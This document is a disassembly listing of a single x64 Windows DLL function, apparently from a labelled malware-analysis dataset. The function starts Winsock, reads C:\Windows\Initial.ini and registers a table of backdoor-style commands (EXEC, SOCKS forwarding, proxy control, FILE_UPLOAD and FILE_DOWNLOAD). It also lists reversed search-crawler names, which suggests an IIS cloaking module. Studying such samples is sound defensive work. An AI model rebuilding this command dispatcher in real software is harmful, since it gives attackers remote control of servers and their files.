Function at 0x180008080
Capabilities:
Initialize winsock library

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov qword [rbp - 0x31], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov rax, qword [0x180058090]
xor rax, rsp
mov qword [rbp + 0x4f], rax
test edx, edx
je 0x180008d7b
cmp edx, 1
jne 0x180008d81
lea r8d, [rdx + 0x15]
lea rdx, str.C:WindowsInitial.ini
lea rcx, [0x18005ab28]
call fcn.180009fd0
xor edi, edi
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], dil
lea r8d, [rdi + 7]
lea rdx, str.DllMain
lea rcx, [rbp - 0x11]
call fcn.180001d00
lea rcx, [rbp - 0x11]
call fcn.1800153d0
mov ecx, 0x202
lea rdx, [0x18005a870]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x180008d81
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], dil
lea r8d, [rdi + 4]
lea rdx, str.EXEC
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x180008169
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x180008193
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x64
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, 7
lea rdx, str.EXECPRO
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x1800081f0
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x18000821a
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x65
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.SOCKS_HELLO
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x180008277
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x1800082a1
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x66
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, recv
lea rdx, str.SOCKS_CONNECT
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x1800082fe
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x180008328
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x67
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.SOCKS_DISCONNECT
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x180008385
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x1800083af
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x68
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, 0xa
lea rdx, str.SOCKS_READ
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x18000840c
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x180008436
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, recv
lea rdx, str.SOCKS_FORWARD
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x180008493
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x1800084bd
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_ntoa
lea rdx, str.PROXY_ENABLE
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x18000851a
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x180008544
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, 0xa
lea rdx, str.PROXY_LIST
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x1800085a1
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x1800085cb
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, 9
lea rdx, str.PROXY_ADD
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x180008628
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x180008652
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, 9
lea rdx, str.PROXY_DEL
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x1800086af
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x1800086d9
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.PROXY_CLEAR
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x180008736
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x180008760
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, send
lea rdx, str.PROXY_CACHE_CLEAR
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x1800087bd
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x1800087e7
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSACleanup
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.PROXY_CACHE_TIME
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x180008844
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x18000886e
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSACleanup
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.PROXY_COUNT
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x1800088cb
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x1800088f5
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSACleanup
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.FILE_UPLOAD
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x180008952
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x18000897c
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, recv
lea rdx, str.FILE_DOWNLOAD
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x1800089d9
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x180008a03
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, send
lea rdx, str.FILE_UPLOAD_PRO
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x180008a60
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x180008a8a
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x75
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, send
lea rdx, str.FILE_DOWNLOAD_PRO
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e670
mov rbx, rax
cmp rax, qword [0x18005aae8]
je 0x180008ae7
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009f50
test al, al
je 0x180008b11
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e9e0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000ea40
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x76
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, str.IIS_VERSION
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
call fcn.180008f20
mov dword [rax], 0x77
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, str.redipsudiab
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.180015800
nop
mov rdx, rax
lea rcx, [0x18005aaf8]
call fcn.180008e90
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
nop
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, str.tobelgoog
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.180015800
nop
mov rdx, rax
lea rcx, [0x18005aaf8]
call fcn.180008e90
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
nop
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, [0x18005aa58]
lea rcx, [rbp + 0x2f]
call fcn.180009ad0
nop
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 0x2f]
call fcn.180009900
mov r9, rax
lea rdx, [rbp - 0x29]
call fcn.1800098b0
mov r8, rax
lea rdx, [rbp - 0x21]
call fcn.1800098e0
mov r9, qword [r9]
mov r8, qword [r8]
mov rdx, qword [rax]
lea rcx, [rbp - 0x19]
call fcn.18000d7b0
mov dl, 0x7c
lea rcx, [rbp + 0x2f]
call fcn.180001bb0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180008c95
nop dword [rax]
nop dword [rax + rax]
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0xf]
lea rcx, [rbp + 0x2f]
call fcn.180009870
nop
mov rdx, rax
lea rcx, [0x18005ab08]
call fcn.180008e90
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
lea r8, [rbx + 1]
xor edx, edx
lea rcx, [rbp + 0x2f]
call fcn.180002150
mov dl, 0x7c
lea rcx, [rbp + 0x2f]
call fcn.180001bb0
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180008c40
lea rdx, str.elgoog
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.180015800
nop
mov rdx, rax
lea rcx, [0x18005ab18]
call fcn.180008e90
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
nop
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, str.gnib
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.180015800
nop
mov rdx, rax
lea rcx, [0x18005ab18]
call fcn.180008e90
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
nop
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, str.coccoc
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.180015800
nop
mov rdx, rax
lea rcx, [0x18005ab18]
call fcn.180008e90
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
nop
lea rcx, [rbp - 0x11]
call fcn.180001c80
call fcn.180015ff0
nop
lea rcx, [rbp + 0x2f]
call fcn.180001c80
jmp 0x180008d81
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.18001add0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret